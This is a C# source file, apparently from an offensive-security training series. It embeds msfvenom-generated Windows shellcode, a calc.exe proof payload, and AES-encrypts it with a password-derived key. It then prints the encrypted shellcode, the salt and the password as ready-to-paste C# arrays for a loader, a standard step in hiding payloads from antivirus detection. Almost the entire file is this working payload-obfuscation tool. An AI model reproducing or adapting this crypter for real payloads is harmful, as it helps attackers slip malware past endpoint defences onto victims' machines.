04a_encryption_aes.cs

using System;
using System.IO;
using System.Text;
using System.Security.Cryptography;

public class EncryptionProgram
{
    static void Main(string[] args)
    {
        // CHECK IF PASSWORD IS PROVIDED
        if (args.Length == 0)
        {
            Console.WriteLine("Password is required as a command line argument.");
            return; 
        }

        // ASSIGN CLA AS password BYTE ARRAY
        string password = args[0]; 

        // SHELLCODE FROM MSFVENOM ASSIGNED AS payload BYTE ARRAY
        byte[] payload = new byte[276] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};

        // WE TURN OUR PASSWORD INTO A KEY USING SHA256 HASH
        byte[] encryptionKey;
        using (var hashAlgorithm = SHA256.Create())
        {
            encryptionKey = hashAlgorithm.ComputeHash(Encoding.UTF8.GetBytes(password));
        }

        // GENERATE OUR SALT
        byte[] salt = GenerateRandomSalt(16);

        // GENERATE OUR ENCRYPTED PAYLOAD
        byte[] encryptedPayload = EncryptData(payload, encryptionKey, salt);

        // PRINT ALL RESULTS TO CONSOLE
        StringBuilder formattedPayload = new StringBuilder();
        formattedPayload.Append("byte[] aesshellcode = new byte[");
        formattedPayload.Append(encryptedPayload.Length);
        formattedPayload.Append("] {");
        for (int i = 0; i < encryptedPayload.Length; i++)
        {
            formattedPayload.Append("0x");
            formattedPayload.AppendFormat("{0:x2}", encryptedPayload[i]);
            if (i < encryptedPayload.Length - 1)
            {
                formattedPayload.Append(",");
            }
        }
        formattedPayload.Append("};");
        Console.WriteLine(formattedPayload.ToString());
        Console.WriteLine("");

        StringBuilder formattedSalt = new StringBuilder();
        formattedSalt.Append("byte[] salt = new byte[] {");
        for (int i = 0; i < salt.Length; i++)
        {
            formattedSalt.Append(salt[i]);
            if (i < salt.Length - 1)
            {
                formattedSalt.Append(", ");
            }
        }
        formattedSalt.Append("};");
        Console.WriteLine(formattedSalt.ToString());

        Console.WriteLine("");
        Console.WriteLine(String.Format("byte[] passwordBytes = Encoding.UTF8.GetBytes(\"{0}\");", password));

    }

    public static byte[] EncryptData(byte[] data, byte[] key, byte[] salt)
    {
        using (var memoryStream = new MemoryStream())
        using (var encryptor = new RijndaelManaged())
        {
            encryptor.KeySize = 256;
            encryptor.BlockSize = 128;

            var keyGenerator = new Rfc2898DeriveBytes(key, salt, 1000);
            encryptor.Key = keyGenerator.GetBytes(encryptor.KeySize / 8);
            encryptor.IV = keyGenerator.GetBytes(encryptor.BlockSize / 8);

            encryptor.Mode = CipherMode.CBC;

            using (var cryptoStream = new CryptoStream(memoryStream, encryptor.CreateEncryptor(), CryptoStreamMode.Write))
            {
                cryptoStream.Write(data, 0, data.Length);
            }

            return memoryStream.ToArray();
        }
    }

    public static byte[] GenerateRandomSalt(int size)
    {
        byte[] salt = new byte[size];
        using (var rng = new RNGCryptoServiceProvider())
        {
            rng.GetBytes(salt);
        }
        return salt;
    }


}